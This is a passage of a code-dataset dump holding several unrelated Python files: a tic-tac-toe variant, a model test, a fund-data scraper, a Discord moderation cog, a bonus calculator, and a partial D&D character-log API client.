currentPlayer\n break\n \n # 3 in a row check\n # horizontal check\n for y in range(SIZE):\n for x in range(SIZE - 2):\n if (grid[y][x] == currentPlayer) and (grid[y][x+1] == currentPlayer) and (grid[y][x+2] == currentPlayer):\n gameOver = True\n # vertical check\n for y in range(SIZE - 2):\n for x in range(SIZE):\n if (grid[y][x] == currentPlayer) and (grid[y+1][x] == currentPlayer) and (grid[y+2][x] == currentPlayer):\n gameOver = True\n # top left to bottom right check\n for y in range(SIZE - 2):\n for x in range(SIZE - 2):\n if (grid[y][x] == currentPlayer) and (grid[y+1][x+1] == currentPlayer) and (grid[y+2][x] == currentPlayer):\n gameOver = True\n # bottom left to top right check\n for y in range(2, SIZE):\n for x in range(SIZE - 2):\n if (grid[y][x] == currentPlayer) and (grid[y-1][x+1] == currentPlayer) and (grid[y-2][x] == currentPlayer):\n gameOver = True\n if gameOver:\n reason = currentPlayer + \" won!\"\n # first tile must neighbour a | X O #\n # al the rest must neigherbour a T\n elif action == 2:\n isFirst = True\n # loop this four times as we want to add 4 squares\n for i in range(4):\n # check if the grid is full\n possibleLocationCheck = False\n for line in grid:\n if \"-\" in line:\n possibleLocationCheck = True\n\n if not possibleLocationCheck:\n break\n\n while True:\n # get x\n while True:\n coordinate = input(\"Enter x coordinate: \")\n if coordinate.isdigit():\n if 0 < int(coordinate) <= SIZE:\n coordinate = int(coordinate) - 1\n x = coordinate\n break\n else:\n print(\"Please enter a number between 1 and \" + str(SIZE))\n else:\n print(\"Please enter a number\")\n \n # get y\n while True:\n coordinate = input(\"Enter y coordinate: \")\n if coordinate.isdigit():\n if 0 < int(coordinate) <= SIZE:\n coordinate = int(coordinate) - 1\n y = coordinate\n break\n else:\n print(\"Please enter a number between 1 and \" + str(SIZE))\n else:\n print(\"Please enter a number\")\n \n # check neighbours\n # isFirst does same check but looks for | X O rather than T\n if isFirst:\n validTiles = [\"|\", \"X\", \"O\", \"#\"]\n else:\n validTiles = [\"T\"]\n\n valid = False\n if grid[y][x] == \"-\":\n if (grid[y+1][x] in validTiles) and (y+1 <= SIZE):\n valid = True\n elif (grid[y-1][x] in validTiles) and (y-1 >= 0):\n valid = True\n elif (grid[y][x+1] in validTiles) and (x+1 <= SIZE):\n valid = True\n elif (grid[y][x-1] in validTiles) and (x-1 >= 0):\n valid = True\n elif (grid[y+1][x+1] in validTiles) and (y+1 <= SIZE) and (x+1 <= SIZE):\n valid = True\n elif (grid[y-1][x+1] in validTiles) and (y-1 >= 0) and(x+1 <= SIZE):\n valid = True\n elif (grid[y+1][x-1] in validTiles) and (y+1 <= SIZE) and(x-1 >= 0):\n valid = True\n elif (grid[y-1][x-1] in validTiles) and (y-1 >= 0) and (x-1 >= 0):\n valid = True\n \n if valid:\n grid[y][x] = \"T\"\n if isFirst:\n isFirst = False\n break\n else:\n if isFirst:\n print(\"The selected tile doesn't neighbour an existing tile (| O X #)\")\n else:\n print(\"The selected tile doesn't neighbour a newly created tile (T)\")\n else:\n print(\"The selected tile already exists\")\n # after placing the T, reprint the grid so the user can see where to go next\n print()\n printGrid()\n \n # once all 4 are selected, change all Ts to |\n for y in range(SIZE):\n for x in range(SIZE):\n if grid[y][x] == \"T\":\n grid[y][x] = \"|\"\n \n # fill in gaps\n # deepcopy must be used here otherwise a reference is created to the grid object\n temp = deepcopy(grid)\n for y in range(SIZE):\n for x in range(SIZE):\n if temp[y][x] == \"-\":\n temp[y][x] = 0\n else:\n temp[y][x] = 1\n data = array(temp)\n out = ndimage.binary_fill_holes(data)\n for y in range(SIZE):\n for x in range(SIZE):\n if out[y][x] == True and grid[y][x] == \"-\":\n grid[y][x] = \"|\"\n elif out[y][x] == False:\n grid[y][x] = \"-\"\n\n # replace - with #\n elif action == 3:\n # repeat twice\n for i in range(2):\n # check if there are any empty tiles\n possibleLocationCheck = False\n for line in grid:\n if \"|\" in line:\n possibleLocationCheck = True\n\n if not possibleLocationCheck:\n break\n\n while True:\n # get x\n while True:\n coordinate = input(\"Enter x coordinate: \")\n if coordinate.isdigit():\n if 0 < int(coordinate) <= SIZE:\n coordinate = int(coordinate) - 1\n x = coordinate\n break\n else:\n print(\"Please enter a number between 1 and \" + str(SIZE))\n else:\n print(\"Please enter a number\")\n \n # get y\n while True:\n coordinate = input(\"Enter y coordinate: \")\n if coordinate.isdigit():\n if 0 < int(coordinate) <= SIZE:\n coordinate = int(coordinate) - 1\n y = coordinate\n break\n else:\n print(\"Please enter a number between 1 and \" + str(SIZE))\n else:\n print(\"Please enter a number\")\n \n if grid[y][x] != \"|\":\n print(\"The selected tile isn't an empty square (|)\")\n else:\n grid[y][x] = \"#\"\n break\n # after placing the #, reprint the grid so the user can see where to go next\n print()\n printGrid()\n\n # check if grid is full\n actionPossible = False\n for line in grid:\n if (\"|\" in line) or (\"-\" in line):\n actionPossible = True\n if not actionPossible:\n gameOver = True\n reason = \"No possible moves, DRAW!\"\n break\n\n # reprint the grid\n clear()\n printGrid()\n\n changePlayer()\n\nprint()\nprint(reason)\n","repo_name":"Coloursplash/TicTac-2.0","sub_path":"src/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":11222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12995006109","text":"import sys\nsys.path.append('/home/zhujt/code_calib/CalibDepth')\nimport pytest\nimport torch\nfrom models.model import Agent\n\n@pytest.fixture\ndef sample_input():\n batch_size = 2\n channels = 3\n height = 256\n width = 512\n h_n = torch.zeros(2, batch_size, 256)\n c_n = torch.zeros(2, batch_size, 256)\n\n rgb_img = torch.rand(batch_size, channels, height, width)\n depth_img = torch.rand(batch_size, 1, height, width)\n\n return rgb_img, depth_img, h_n, c_n\n\n\ndef test_agent_forward(sample_input):\n rgb_img, depth_img, h_n, c_n = sample_input\n agent = Agent()\n\n action_mean, predict_depth, hc = agent(rgb_img, depth_img, h_n, c_n)\n\n assert isinstance(action_mean, list)\n assert len(action_mean) == 2\n assert action_mean[0].shape == (rgb_img.shape[0], 3)\n assert action_mean[1].shape == (rgb_img.shape[0], 3)\n\n assert predict_depth.shape == depth_img.shape\n\n assert hc[0].shape == h_n.shape\n assert hc[1].shape == c_n.shape\n\nif __name__ == '__main__':\n pytest.main()\n\n\n# 主要用于测试模型的前向推理过程,测试模型的输入输出是否符合预期","repo_name":"Brickzhuantou/CalibDepth","sub_path":"test/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"15269312155","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*- \n# @File : store_fund_achievement.py\n# @Desc : \n\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + \"/../..\")\n\nimport time\nimport json\nimport requests\nimport datetime\nfrom fund.common import insert, selects\nfrom fund.fund_analysis.store_all_fund import headers\n\n\ndef get_fund_scale(fund_code):\n url = \"http://fundf10.eastmoney.com/FundArchivesDatas.aspx?type=jzcgm&code={fund_code}\".format(fund_code=fund_code)\n r = requests.get(url, headers=headers)\n if r.status_code == 200:\n text = r.text.split('var jzcgm_apidata=')[-1]\n res = json.loads(text)\n # print(res)\n if res:\n return res[-1][-1]\n return 0\n else:\n print(\"Get fund's scale from {url} is failed\".format(url=url))\n return\n\n\ndef get_fund_increase_info(fund_code):\n tengxun_url = \"http://web.ifzq.gtimg.cn\"\n url_ = tengxun_url + \"/fund/newfund/fundBase/getRankInfo\"\n jjstring = 'jj' + str(fund_code)\n params = {'symbol': jjstring}\n r = requests.get(url_, params=params, headers=headers)\n # print(r.status_code, r.text)\n if r.status_code == 200 and r.json()['code'] == 0:\n return r.json()['data']['jzzf']\n return {\"w1\": 0, \"w4\": 0, \"w13\": 0, \"w26\": 0, \"w52\": 0, \"year\": 0, \"total\": 0, \"year3\": 0}\n\n\ndef generat_sql_for_insert_fund_achievement(fund_code_list):\n times = 0\n today_date = datetime.date.today().strftime('%Y-%m-%d')\n sql = \"INSERT INTO `fund`.`fund_achievement` (`date`, `code_id`, `scale`, `week1`, `month1`, `month3`, `month6`, `year1`, `year3`, `total`) VALUES \"\n for code_id in fund_code_list:\n times += 1\n achievement_dic = get_fund_increase_info(code_id)\n tuples = (today_date, code_id, get_fund_scale(code_id), achievement_dic['w1'], achievement_dic['w4'], achievement_dic['w13'], achievement_dic['w26'], achievement_dic['w52'], achievement_dic['year3'], achievement_dic['total'])\n sql = sql + str(tuples) + ','\n if times % 300 == 0:\n time.sleep(10)\n return sql.strip(',')\n\n\ndef get_fund_code():\n code_lst = []\n res_lst = selects(\"select code_id from all_funds\")\n for r in res_lst:\n code_lst.append(r['code_id'])\n return code_lst\n\n\ndef main():\n fund_code_list = get_fund_code()\n n = 1000\n for codes in [fund_code_list[i:i + n] for i in range(0, len(fund_code_list), n)]:\n sql = generat_sql_for_insert_fund_achievement(codes)\n print(sql)\n insert(sql)\n time.sleep(10)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"hlphlphlp/fund","sub_path":"fund_analysis/store_fund_achievement.py","file_name":"store_fund_achievement.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74780636892","text":"from discord.ext import commands\nimport discord\nfrom discord import File\nimport json\nimport toml\nimport asyncio\nfrom datetime import timedelta\n\n\nclass AdminCog(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n\n with open('./config.json', 'r') as cjson:\n config = json.load(cjson)\n with open('config.toml', 'r') as ctoml:\n config2 = toml.load(ctoml)\n\n\n UNITS = {\"s\": \"seconds\", \"m\": \"minutes\", \"h\": \"hours\", \"d\": \"days\", \"w\": \"weeks\"}\n\n def convert_time_to_seconds(self, s):\n count = int(s[:-1])\n unit = self.UNITS[s[-1]]\n td = timedelta(**{unit: count})\n return td.seconds + 60 * 60 * 24 * td.days\n\n @commands.command(name='ban', hidden=True)\n @commands.has_any_role(config2['roles']['moderator'], config2['roles']['staff'])\n async def banuser(self, ctx, *, member):\n \"\"\"Command which bans a user. e.g: [p]ban @user\"\"\"\n try:\n user = ctx.message.mentions[1]\n await ctx.guild.ban(user)\n except Exception as e:\n print(f'**`ERROR:`** {type(e).__name__} - {e}')\n await ctx.send(f'**`ERROR:`** FAILED TO BAN USER, CHECK LOGS FOR MORE DETAILS')\n else:\n await ctx.send(f'**Bucket banned {user.display_name}**')\n\n @commands.command(name='kick', hidden=True)\n @commands.has_any_role(config2['roles']['moderator'], config2['roles']['staff'])\n async def kickuser(self, ctx, *, member):\n \"\"\"Command which kicks a user. e.g: [p]ban @user\"\"\"\n try:\n user = ctx.message.mentions[1]\n await ctx.guild.kick(user)\n except Exception as e:\n print(f'**`ERROR:`** {type(e).__name__} - {e}')\n await ctx.send(f'**`ERROR:`** FAILED TO KICK USER, CHECK LOGS FOR MORE DETAILS')\n else:\n await ctx.send(f'**Bucket 🦵 {user.display_name}**')\n\n\n @commands.command(name='unban', hidden=True)\n @commands.has_any_role(config2['roles']['moderator'], config2['roles']['staff'])\n async def unbanuser(self, ctx, *, member):\n \"\"\"Command which unbans a user e.g: [p]unban [username]\"\"\"\n try:\n banned_users = await ctx.guild.bans()\n member_name, member_discriminator = member.split('#')\n for ban_entry in banned_users:\n user = ban_entry.user\n if (user.name, user.discriminator) == (member_name, member_discriminator):\n await ctx.guild.unban(user)\n except Exception as e:\n print(f'**`ERROR:`** {type(e).__name__} - {e}')\n await ctx.send(f'**`ERROR:`** FAILED TO UNBAN USER, CHECK LOGS FOR MORE DETAILS')\n else:\n await ctx.send(f'**Bucket unbanned {user.display_name}**')\n\n @commands.command(name='mute', hidden=True)\n @commands.has_any_role(config2['roles']['moderator'], config2['roles']['staff'])\n async def muteuser(self, ctx, *args):\n \"\"\"Command which temp mutes a user. e.g: [p]mute @user 1s 1h 1d\"\"\"\n try:\n user = ctx.message.mentions[1]\n time = 0\n print(args[0])\n print(args[1:])\n await user.add_roles(self.bot.guilds[0].get_role(self.config[\"muterole\"]))\n for a in args[1:]:\n time = time + self.convert_time_to_seconds(a)\n print(time)\n await ctx.send(f'**USER {ctx.message.mentions[1].mention} WAS MUTED FOR {time} SECONDS**')\n await asyncio.sleep(time)\n await user.remove_roles(self.bot.guilds[0].get_role(self.config[\"muterole\"]))\n except Exception as e:\n print(f'**`ERROR:`** {type(e).__name__} - {e}')\n await ctx.send(f'**`ERROR:`** FAILED TO MUTE USER, CHECK LOGS FOR MORE DETAILS')\n\n @commands.command(name='logs', hidden=True)\n @commands.has_any_role(config2['roles']['staff'])\n async def send_logs(self, ctx,):\n \"\"\"Command which send the log to the user e.g: [p]logs\"\"\"\n try:\n user = ctx.author\n await user.send(content=\"Logs for Rust Bucket:\", file=File('./discord.log'))\n except Exception as e:\n print(f'**`ERROR:`** {type(e).__name__} - {e}')\n await ctx.send('**`ERROR:`** FAILED TO SEND LOGS, CHECK LOGS FOR MORE DETAILS')\n else:\n pass\n\n\ndef setup(bot):\n bot.add_cog(AdminCog(bot))\n","repo_name":"Mamoth112/Mamoth-Backup","sub_path":"bucket bot/cogs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35509270375","text":"import re\ndef bonus(benefit):\n arr =[100, 60, 40, 20, 10, 0]\n rat = [0.01, 0.015, 0.03, 0.05, 0.075, 0.1]\n bonus_ = 0\n for index in range(0,6):\n if benefit > arr[index]:\n bonus_ += (benefit - arr[index]) * rat[index]\n benefit = arr[index]\n return bonus_\n\n\ninput_value = input('Please enter the benefit: ')\ninput_rule = re.compile(r'[0-9]+')\nresult = input_rule.match(input_value) #this regular expression didn't work yet\nwhile True:\n while result:\n try:\n input_value = int(input_value)\n except:\n input_value = input('Please enter the number for the benefit but not string: ')\n result = input_rule.match(input_value)\n else:\n print('Your bonus should be {0} after calculation with benefit {1}'.format(bonus(input_value) * 10000, input_value * 10000))\n input_value = input('Please enter the benefit: ')\n result = input_rule.match(input_value)\n else:\n input_value = input('Please enter the number for the benefit but not string: ')\n result = input_rule.match(input_value)","repo_name":"AndrewCarnegie/PycharmProjects","sub_path":"PythonLearning/venv/PythonHomework/bonus_calculation.py","file_name":"bonus_calculation.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7406143569","text":"# ******************************************************************\n# Name: DBnD_Client.py\n# Date: March 17, 2019\n# Author: Ardalan Ahanchi\n# Description: A simple CLI for accessing the DBnD database server.\n# ******************************************************************\n\nimport os\nimport getpass\nimport requests\nimport json\n\n# URL of the AWS server.\nurl = 'https://unthgdgw0h.execute-api.us-east-1.amazonaws.com/dev'\n\n# A main function to display the initial information.\n# ******************************************************************\ndef main():\n while True:\n clearScr()\n print(\"1. Login\")\n print(\"2. Register\")\n print(\"3. Exit\")\n menuChoice = getChoice(3)\n\n if menuChoice == 1: #Check Which menu item was chosen and act accordingly.\n loginMenu()\n elif menuChoice == 2:\n registerMenu()\n elif menuChoice == 3:\n print(\"Now Exiting.\")\n break\n\n# A simple menu for a new reigstration.\n# ******************************************************************\ndef registerMenu():\n clearScr()\n\n #Get User information.\n print(\"Please Enter The Registration Information\")\n printSeperator()\n\n name = input(\"Name (No Spaces): \") #Get info from the user.\n dci = input(\"DCI Number (10 Digit Integer): \")\n pswd = input(\"Password (8 Character Minimum): \")\n\n body = {}\n body[\"name\"] = name\n\n #Send a post request to the server.\n headerJson = {'Content-type': 'application/json'}\n response = requests.post(url + \"/register\", auth=requests.auth.HTTPBasicAuth(dci, pswd), data=json.dumps(body), headers=headerJson)\n responseJson = json.loads(response.text)\n\n if (int(response.status_code) > 299) or (int(response.status_code) < 200): #Check for unsuccessful login.\n print(responseJson[\"msg\"])\n print(\"Error Registering, Please Try Again.\")\n pressAny()\n else:\n print(\"Account Creation Successful. Logging In.\")\n pressAny()\n mainMenu(dci, pswd) #Login Automagically if successful\n\n# A menu for asking the user for dci and password and then logging in.\n# ******************************************************************\ndef loginMenu():\n clearScr()\n\n #Get login information.\n print(\"Please Enter The login Information \")\n printSeperator()\n\n dci = input(\"DCI Number: \")\n pswd = input(\"Password: \")\n\n #Chech if the credentials are right.\n response = requests.get(url + \"/player\", auth=requests.auth.HTTPBasicAuth(dci, pswd))\n if (int(response.status_code) > 299) or (int(response.status_code) < 200):\n print(\"Error Logging in, Please Try Again.\")\n pressAny()\n else:\n print(\"Logging In.\")\n pressAny()\n mainMenu(dci, pswd)\n\n# A main menu which asks the user what the user wants to do after login.\n# *********************************************************************\ndef mainMenu(_dci, _pswd):\n while True:\n clearScr()\n print(\"Main Menu\")\n printSeperator()\n print(\"1. List Characters\")\n print(\"2. Add Character\")\n print(\"3. Logout\")\n\n menuChoice = getChoice(3)\n\n if menuChoice == 1:\n listCharacters(_dci, _pswd)\n elif menuChoice == 2:\n addCharacter(_dci, _pswd)\n elif menuChoice == 3:\n break\n else:\n print(\"Invalid Choice, Please Try Again.\")\n\n# A dialog for adding a new character.\n# ******************************************************************\ndef addCharacter(_dci, _pswd):\n clearScr()\n print(\"Please Enter the new Character Information\")\n printSeperator()\n\n #Get new character data.\n charName = input(\"Enter New Character Name: \")\n charRace = input(\"Enter New Character Race: \")\n charClass = input(\"Enter New Character Class: \")\n charBg = input(\"Enter New Character Background: \")\n charlvl = input(\"Enter New Character Level: \")\n\n #Create a json file for the server.\n body = {}\n body[\"race\"] = charRace\n body[\"class\"] = charClass\n body[\"background\"] = charBg\n\n try:\n body[\"level\"] = int(charlvl)\n except:\n print(\"Character Level must be an integer, please try again.\")\n return\n\n #Send a post request and add the character.\n headerJson = {'Content-type': 'application/json'}\n response = requests.post(url + \"/character/\" + charName, auth=requests.auth.HTTPBasicAuth(_dci, _pswd), data=json.dumps(body), headers=headerJson)\n\n #Check the return code for errors adding the character.\n if (int(response.status_code) > 299) or (int(response.status_code) < 200):\n print(\"Error creating the character. Please Try Again!\")\n else:\n print(\"Character Created.\")\n\n pressAny()\n\n# A menu for seeing all characters and accessing them.\n# ******************************************************************\ndef listCharacters(_dci, _pswd):\n while True:\n clearScr()\n print(\"Characters List\")\n printSeperator()\n\n #Get the list of the characters from the server.\n response = requests.get(url + \"/character\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n characters = json.loads(response.text)\n\n #Print all the characters.\n choiceNum = int(1)\n for character in characters[\"body\"]:\n print(str(choiceNum) + \". Name: \" + character[1] + \" | Race: \" + character[2] + \" | Class: \" + character[3] + \" | Background: \" + character[4] + \" | Level: \" + str(character[5]))\n choiceNum += 1\n\n if choiceNum == 1:\n print(\"No Characters added yet!\")\n\n print(str(choiceNum) + \". Go Back\")\n\n #Get the user input.\n charChoice = getChoice(choiceNum)\n\n #Go Back to character menu if its back.\n if(charChoice == choiceNum):\n break\n\n characterMenu(_dci, _pswd, characters[\"body\"][int(charChoice) - 1])\n\n# A function for showing the different actions for a character.\n# ******************************************************************\ndef characterMenu(_dci, _pswd, _character):\n while True:\n clearScr() #Get the screen ready\n print(\"Character Menu\")\n printCharacter(_character)\n printSeperator()\n\n print(\"1. View Progression\") #Display menu items\n print(\"2. View Log Sheets\")\n print(\"3. View Downtime Log Sheets\")\n print(\"4. View Adventure Log Sheets\")\n print(\"5. View Magic Items\")\n print(\"\")\n print(\"6. Add Downtime Log Sheet\")\n print(\"7. Add Adventure Log Sheet\")\n print(\"8. Add Magic Item\")\n print(\"9. Set Level\")\n print(\"10. Go Back\")\n\n choice = getChoice(10) #Get the user choice\n\n if choice == 1:\n viewProgression(_character, _dci, _pswd) #Call functions accordingly\n if choice == 2:\n viewAllLogSheets(_character, _dci, _pswd)\n elif choice == 3:\n viewDtLogSheets(_character, _dci, _pswd)\n elif choice == 4:\n viewAdvLogSheets(_character, _dci, _pswd)\n elif choice == 5:\n viewMagicalItems(_character, _dci, _pswd)\n elif choice == 6:\n addDtLogSheet(_character, _dci, _pswd)\n elif choice == 7:\n addAdvLogSheet(_character, _dci, _pswd)\n elif choice == 8:\n addMagicalItem(_character, _dci, _pswd)\n elif choice == 9:\n setLevel(_character, _dci, _pswd)\n _character = updateCharacter(_character, _dci, _pswd)\n elif choice == 10:\n break\n\n# A function which gets and prints the progression info for a character.\n# ******************************************************************\ndef viewProgression(_character, _dci, _pswd):\n clearScr() #Get the screen ready\n print(\"Progression Information for Character\")\n printCharacter(_character)\n printSeperator()\n\n #Get the progression info with a get character.\n response = requests.get(url + \"/character/\" + _character[1] + \"/progression\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n prog = json.loads(response.text)\n\n for p in prog[\"progression\"]: #Print the progression information.\n print(\"Sum(Delta Downtime): \" + str(p[5]))\n print(\"Sum(Delta TCP T1): \" + str(p[6]))\n print(\"Sum(Delta TCP T2): \" + str(p[7]))\n print(\"Sum(Delta TCP T3): \" + str(p[8]))\n print(\"Sum(Delta TCP T4): \" + str(p[9]))\n print(\"Sum(Delta Gold): \" + str(p[10]))\n print(\"Sum(Delta ACP): \" + str(p[11]))\n print(\"Sum(Delta Renown): \" + str(p[12]))\n\n pressAny()\n\n# A function which gets all the logsheets and prints them accordingly.\n# ******************************************************************\ndef viewAllLogSheets(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"All the log Sheets for Character\")\n printCharacter(_character)\n printSeperator()\n\n #Get all the logsheets with a get request.\n response = requests.get(url + \"/character/\" + _character[1] + \"/logs\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n sheets = json.loads(response.text)\n\n for sheet in sheets[\"logs\"]:\n sheet = [str('-') if s is None else s for s in sheet] #Remove None values and print the sheets.\n print(\"\")\n print(\"* Name: \" + str(sheet[1]) + \" | Adventure Name: \" + str(sheet[2]) + \" | Date: \" + str(sheet[3]) + \" | Delta Downtime: \" + str(sheet[4]) + \" | TCP T1: \" + str(sheet[5]) + \" | TCP T2: \" + str(sheet[6]))\n print(\" TCP T3: \" + str(sheet[7]) + \" | TCP T4: \" + str(sheet[8]) + \" | Delta Gold: \" + str(sheet[9]) + \" | Delta ACP: \" + str(sheet[10]) + \" | Delta Renown: \" + str(sheet[11]) + \" | DM Dci: \" + str(sheet[12]) + \" | Log Type: \" + str(sheet[13]))\n\n pressAny()\n\n# A function which gets all the downtime logsheets and prints them accordingly.\n# ****************************************************************************\ndef viewDtLogSheets(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Downtime Log Sheets for Character\")\n printCharacter(_character)\n printSeperator()\n\n response = requests.get(url + \"/character/\" + _character[1] + \"/downtime_logs\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n sheets = json.loads(response.text)\n\n for sheet in sheets[\"body\"]:\n sheet = [str('-') if s is None else s for s in sheet] #Remove None values.\n print(\"\")\n print(\"* Date: \" + str(sheet[3]) + \" | Delta Downtime: \" + str(sheet[4]) + \" | Delta Gold: \" + str(sheet[5]) + \" | TCP T1: \" + str(sheet[6]) + \" | TCP T2: \" + str(sheet[7]))\n print(\" TCP T3: \" + str(sheet[8]) + \" | TCP T4: \" + str(sheet[9]) + \" | Delta ACP: \" + str(sheet[10]) + \" | Delta Renown: \" + str(sheet[11]))\n\n pressAny()\n\n# A function which gets all the adventure logsheets and prints them accordingly.\n# ****************************************************************************\ndef viewAdvLogSheets(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Adventure Log Sheets for Character\")\n printCharacter(_character)\n printSeperator()\n\n response = requests.get(url + \"/character/\" + _character[1] + \"/adventure_logs\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n sheets = json.loads(response.text)\n\n for sheet in sheets[\"body\"]:\n sheet = [str('-') if s is None else s for s in sheet] #Remove None values.\n print(\"\")\n print(\"* Adventure Name: \" + str(sheet[3]) + \" | Date: \" + str(sheet[4]) + \" | Delta Downtime: \" + str(sheet[5]) + \" | TCP T1: \" + str(sheet[6]) + \" | TCP T2: \" + str(sheet[7]))\n print(\" TCP T3: \" + str(sheet[8]) + \" | TCP T4: \" + str(sheet[9]) + \" | Delta Gold: \" + str(sheet[10]) + \" | Delta ACP: \" + str(sheet[11]) + \" | Delta Renown: \" + str(sheet[12]) + \" | DM Dci: \" + str(sheet[13]))\n\n pressAny() #Wait for user input to go back.\n\n# A function which gets all the magical items for a player and prints them.\n# ****************************************************************************\ndef viewMagicalItems(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Magical Items for Character\")\n printCharacter(_character)\n printSeperator()\n\n response = requests.get(url + \"/magic_items/\" + _character[1] , auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n items = json.loads(response.text)\n\n\n for item in items[\"body\"]:\n item = [str('-') if i is None else i for i in item] #Remove None values.\n print(\"\")\n print(\"* Name: \" + str(item[2]) + \" | Quantity: \" + str(item[3]) + \" | Date Acquired: \" + str(item[4]))\n\n pressAny()\n\n# Gets the information for a new downtime log entry and sends it to the database.\n# *******************************************************************************\ndef addDtLogSheet(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Add new downtime log sheet for Character\")\n printCharacter(_character)\n printSeperator()\n\n dtDate = input(\"Enter Date (YYYY-MM-DD): \") #Get new character data.\n ddt = input(\"Enter Delta Downtime: \")\n tcpt1 = input(\"Enter TCP T1: \")\n tcpt2 = input(\"Enter TCP T2: \")\n tcpt3 = input(\"Enter TCP T3: \")\n tcpt4 = input(\"Enter TCP T4: \")\n dgold = input(\"Enter Delta Gold: \")\n dacp = input(\"Enter Delta ACP: \")\n drn = input(\"Enter Delta Renown: \")\n\n try: #Create a json file for the server.\n body = {}\n body[\"dt_date\"] = dtDate\n body[\"delta_downtime\"] = int(ddt)\n body[\"delta_tcp_t1\"] = int(tcpt1)\n body[\"delta_tcp_t2\"] = int(tcpt2)\n body[\"delta_tcp_t3\"] = int(tcpt3)\n body[\"delta_tcp_t4\"] = int(tcpt4)\n body[\"delta_gold\"] = int(dgold)\n body[\"delta_acp\"] = int(dacp)\n body[\"delta_renown\"] = int(drn)\n except:\n print(\"Invalid values, please try again.\")\n return\n\n headerJson = {'Content-type': 'application/json'} #Send a post request and add the downtime log entry.\n response = requests.post(url + \"/character/\" + _character[1] + \"/downtime_logs\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd), data=json.dumps(body), headers=headerJson)\n\n if (int(response.status_code) > 299) or (int(response.status_code) < 200): #Check the return code for errors adding the character.\n print(\"Error. Please Try Again!\")\n else:\n print(\"Log Added.\")\n\n pressAny()\n\n# Gets the information for a new adventure log entry and sends it to the database.\n# ********************************************************************************\ndef addAdvLogSheet(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Add new Adventure log sheet for Character\")\n printCharacter(_character)\n printSeperator()\n\n name = input(\"Enter Adventure Name: \") #Get new character data.\n date = input(\"Enter Date (YYYY-MM-DD): \")\n ddt = input(\"Enter Delta Downtime: \")\n tcpt1 = input(\"Enter TCP T1: \")\n tcpt2 = input(\"Enter TCP T2: \")\n tcpt3 = input(\"Enter TCP T3: \")\n tcpt4 = input(\"Enter TCP T4: \")\n dgold = input(\"Enter Delta Gold: \")\n dacp = input(\"Enter Delta ACP: \")\n drn = input(\"Enter Delta Renown: \")\n dmdci = input(\"Enter the DM DCI: \")\n\n try: #Create a json file for the server.\n body = {}\n body[\"adventure_name\"] = name\n body[\"a_date\"] = date\n body[\"delta_downtime\"] = int(ddt)\n body[\"delta_tcp_t1\"] = int(tcpt1)\n body[\"delta_tcp_t2\"] = int(tcpt2)\n body[\"delta_tcp_t3\"] = int(tcpt3)\n body[\"delta_tcp_t4\"] = int(tcpt4)\n body[\"delta_gold\"] = int(dgold)\n body[\"delta_acp\"] = int(dacp)\n body[\"delta_renown\"] = int(drn)\n body[\"dm_dci\"] = dmdci\n\n except:\n print(\"Invalid values, please try again.\")\n return\n\n headerJson = {'Content-type': 'application/json'} #Send a post request and add the adventure log.\n response = requests.post(url + \"/character/\" + _character[1] + \"/adventure_logs\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd), data=json.dumps(body), headers=headerJson)\n\n\n if (int(response.status_code) > 299) or (int(response.status_code) < 200): #Check the return code for errors adding the character.\n print(\"Error. Please Try Again!\")\n else:\n print(\"Log Added.\")\n\n pressAny()\n\n# Gets the information for a magical item for a player and sends it to the database.\n# *********************************************************************************\ndef addMagicalItem(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Add a new Magic Item for Character\")\n printCharacter(_character)\n printSeperator()\n\n name = input(\"Enter Item Name: \") #Get the item data.\n qty = input(\"Enter Quantity: \")\n date = input(\"Enter Date Aquired (YYYY-MM-DD): \")\n\n try: #Create a json file for the server.\n body = {}\n body[\"item_name\"] = name\n body[\"quantity\"] = int(qty)\n body[\"date_acquired\"] = date\n\n except:\n print(\"Invalid values, please try again.\")\n return\n\n headerJson = {'Content-type': 'application/json'} #Send a post request and add the character.\n response = requests.post(url + \"/magic_items/\" + _character[1] , auth=requests.auth.HTTPBasicAuth(_dci, _pswd), data=json.dumps(body), headers=headerJson)\n\n if (int(response.status_code) > 299) or (int(response.status_code) < 200): #Check the return code for errors adding the character.\n print(\"Error. Please Try Again!\")\n else:\n print(\"Magical Item Added.\")\n\n pressAny()\n\ndef setLevel(_character, _dci, _pswd):\n clearScr() #Get the screen ready.\n print(\"Set new level for Character\")\n printCharacter(_character)\n printSeperator()\n\n newLevel = input(\"Enter The New Level: \") #Get new character data.\n\n body = {} #Create a json file for the server.\n body[\"level\"] = newLevel\n\n try:\n body[\"level\"] = int(newLevel)\n except:\n print(\"Character Level must be an integer, please try again.\")\n return\n\n headerJson = {'Content-type': 'application/json'} #Send a post request and 